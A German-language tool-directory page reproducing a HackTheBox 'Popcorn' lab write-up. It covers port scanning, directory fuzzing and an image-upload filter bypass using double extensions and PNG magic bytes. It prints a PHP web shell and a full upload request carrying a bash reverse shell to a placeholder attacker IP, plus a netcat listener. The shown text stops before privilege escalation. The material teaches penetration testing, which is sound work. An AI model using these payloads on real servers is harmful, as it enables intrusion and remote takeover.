Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Popcorn-TJNULL-OSCP- — Popcorn HTB Write-up, das fortgeschrittenes Directory Fuzzing, File Upload Bypass via Magic Numbers/Extension Spoofing mit Burp Suite und Privilege Escalation via CVE-2010-0832 (PAM MOTD File Tampering) behandelt. | Kitploit
Tools/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationFuzzingCTFPenetrationstestsLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Labs & Praxis
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

Popcorn HTB Write-up, das fortgeschrittenes Directory Fuzzing, File Upload Bypass via Magic Numbers/Extension Spoofing mit Burp Suite und Privilege Escalation via CVE-2010-0832 (PAM MOTD File Tampering) behandelt.

Repository anzeigen
12vor 3 MonatenNoch nicht geprüft

HackTheBox: Popcorn Write-up

Datum: 05. Juni 2026
Schwierigkeit: Einfach
Plattform: HackTheBox
Schlüsseltechniken: Port- & Service-Enumeration, Directory-Fuzzing (Gobuster), Datei-Upload-Umgehung, HTTP-Anfragen-Manipulation (Burp Suite), Remote Code Execution (RCE), Fortgeschrittene TTY-Shell-Stabilisierung (Python), Lokale Kernel/PAM-Ausnutzung (MOTD-Dateimanipulation).


1. Aufklärung & Enumeration

Port-Scan (Schnelle Erkundung)

Wir beginnen mit einem schnellen TCP-Portscan über alle 65.535 Ports (-p-), um offene Einstiegspunkte zu lokalisieren. Wir optimieren die Ausführungsgeschwindigkeit mit --min-rate 5000 und überspringen DNS-Auflösung und Ping-Sweeps, um den Prozess in einer Audit-Umgebung zu optimieren:

nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

Der anfängliche Scan findet zuverlässig zwei offene Ports: Port 22 (SSH) und Port 80 (HTTP).

Service- & Schwachstellen-Scan (Tiefergehende Analyse)

Als Nächstes führen wir einen gezielten, detaillierten Scan der identifizierten Ports durch, um genaue Service-Versionen zu ermitteln und die Standard- sowie grundlegenden Vulnerability-Skripte von Nmap auszuführen:

nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

Aus der Ausgabe extrahieren wir kritische Informationen über das Zielsystem:

  • Port 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (deutet auf eine stark veraltete Ubuntu-Linux-Distribution hin).
  • Port 80/TCP (HTTP): Apache httpd 2.2.12

Directory-Fuzzing (Gobuster)

Bevor wir mit der Webanwendung über den Browser interagieren, fügen wir die Ziel-IP-Adresse in die /etc/hosts-Datei unseres Angreifer-Rechners ein, um das Domain-Mapping zu bereinigen und sicherzustellen, dass interne Weiterleitungen korrekt aufgelöst werden:

<VICTIM_IP>    popcorn.htb

Anschließend führen wir eine automatisierte Suche nach versteckten Verzeichnissen mit gobuster und DirBusters klassischer mittlerer Wortliste durch:

gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

Die Fuzzing-Phase deckt die folgenden zugänglichen Pfade auf dem Webserver des Opfers auf:

  • /index (Standard-Index-Seite).
  • /test (Test-Panel oder Entwicklungsinformationsdatei).
  • /torrent (Eine voll funktionsfähige Webplattform zum Hosten und Teilen von Torrent-Dateien).
  • /response (Interne Antwortseite).

2. Erster Zugriffsvektor (Web-Exploitation & Filter-Umgehung)

Die Erkundung des /torrent-Verzeichnisses enthüllt ein Torrent-Sharing-CMS. Um die Upload-Funktionen nutzen zu können, registrieren wir uns und melden uns mit einem gültigen, eigens erstellten Konto an. Nachdem wir eine legitime .torrent-Datei veröffentlicht haben, ermöglicht die Plattform die Bearbeitung der Torrent-Details und das Hochladen eines Werbebildschirmfotos. Dieses spezielle Formular wird zu unserem primären Angriffsvektor.

Um eine Remote Code Execution (RCE) zu erreichen, durchlaufen wir mehrere Testphasen und analysieren das Backend-Verhalten mit Burp Suite (Repeater):

Versuch 1: Dynamische Webshell über GET-Parameter (Syntaxfehler)

Wir fangen die Screenshot-Upload-Anfrage ab und ändern den Dateinamen in exploit.php. Wir versuchen, einen klassischen Einzeiler-Webshell in den Dateiinhalt einzufügen:

<?php system($_GET['cmd']) ?>

Ergebnis: Der Webserver gibt einen internen Ausführungsfehler zurück, da am Ende der PHP-Anweisung ein Semikolon ; fehlt, was den Ausführungsfluss unterbricht.

Versuch 2: Injection mit Parametern in der Upload-URL (Methodenfehler)

Wir korrigieren die Syntax zu <?php system($_GET['cmd']); ?>, aber da die Anfrage über POST (mit multipart/form-data) gesendet wird, versuchen wir, unseren Befehl direkt in der Header-URL zu übergeben (POST /torrent/upload_file.php?cmd=whoami). Ergebnis: Der Webserver gibt folgenden Fehler aus:

Cannot execute a blank command

Analyse: Während der Datei-Upload-Verarbeitung ignoriert das Backend GET-Variablen in der URL vollständig. Das Skript upload_file.php schreibt die Datei auf die Festplatte, versucht aber sofort, die interne Funktion auszuführen. Da es nichts in den erwarteten Body-Variablen erhält, wird $_GET['cmd'] als leer verarbeitet.

Versuch 3: Doppelte Erweiterung (Statischer Ausführungsfehler)

Um einfache Erweiterungsprüfungen zu umgehen, die überprüfen, ob die Datei ein gültiges Bild ist, benennen wir die Datei in innocent.php.png um und hardcoden eine Reverse-Shell-Nutzlast, sodass sie nicht von externen Parametern abhängt:

Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Ergebnis: Der Server antwortet mit einem erfolgreichen 200 OK:

Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Analyse: Obwohl es den anfänglichen Filter erfolgreich umgangen hat, behandelte der Apache-Server die Datei, da sie strikt auf .png endete, als gewöhnliches statisches Bild. Beim Aufrufen im Browser werden die rohen Bytes als Klartext ausgegeben; Apache übergibt die Datei nie an den PHP-Interpreter, was bedeutet, dass unser Netcat-Listener nie eine Verbindung empfängt.

Versuch 4: Erfolgreiche Umgehung (Erweiterungsänderung & Magische Zahlen)

Da wir wissen, dass der Server die .php-Erweiterung parsen muss, um die Codeausführung auszulösen, kehren wir die Reihenfolge der Erweiterung um (innocent.png.php), behalten den Content-Type: image/png-Header bei und fügen die PNG-Signatur oder Magic Numbers (‰PNG) am Anfang des Dateiinhalts ein, um die Backend-Inhaltsprüfungen zu umgehen:

POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Ergebnis: Der Webserver akzeptiert die Datei sauber, verarbeitet die abschließende Erweiterung und speichert sie im Upload-Verzeichnis unter dem Namen innocent.php:

HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Remote Code Execution (RCE) auslösen

Da das Upload-Skript die Datei nur auf der Festplatte speichert, ohne sie im Kontext der Upload-POST-Anfrage auszuführen, lösen wir einen separaten Aufruf aus, um den Server zum Lesen der Datei zu zwingen:

  1. Richten Sie einen Netcat-Listener auf Ihrem Angreifer-Rechner ein:
nc -lvnp 4444

  1. Lösen Sie die Reverse-Shell aus, indem Sie direkt die URL-Pfad der hochgeladenen Datei aufrufen (entweder über den Browser oder mit einer sauberen GET-Anfrage in Burp):
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Der Apache-Server wird gezwungen, die Datei zu verarbeiten, erkennt die PHP-Tags, führt die Bash-Nutzlast aus, und die Verbindung wird perfekt auf unserem Listener aufgebaut, was uns als www-data-Benutzer den ersten Zugriff gewährt.


3. Post-Exploitation & TTY-Shell-Stabilisierung

Der Versuch, sofort nach Erhalt der Shell die Rechte zu erweitern, offenbart erhebliche Umgebungseinschränkungen:

www-data@popcorn:/$ su root
su: must be run from a terminal

Der Befehl su erfordert strikt ein echtes interaktives Terminal (TTY), um Eingaben sicher zu akzeptieren. Der Versuch, eines über python3 zu erzwingen, zeigt, dass es auf dieser veralteten Box nicht installiert ist (The program 'python3' is currently not installed).

Tool herunterladen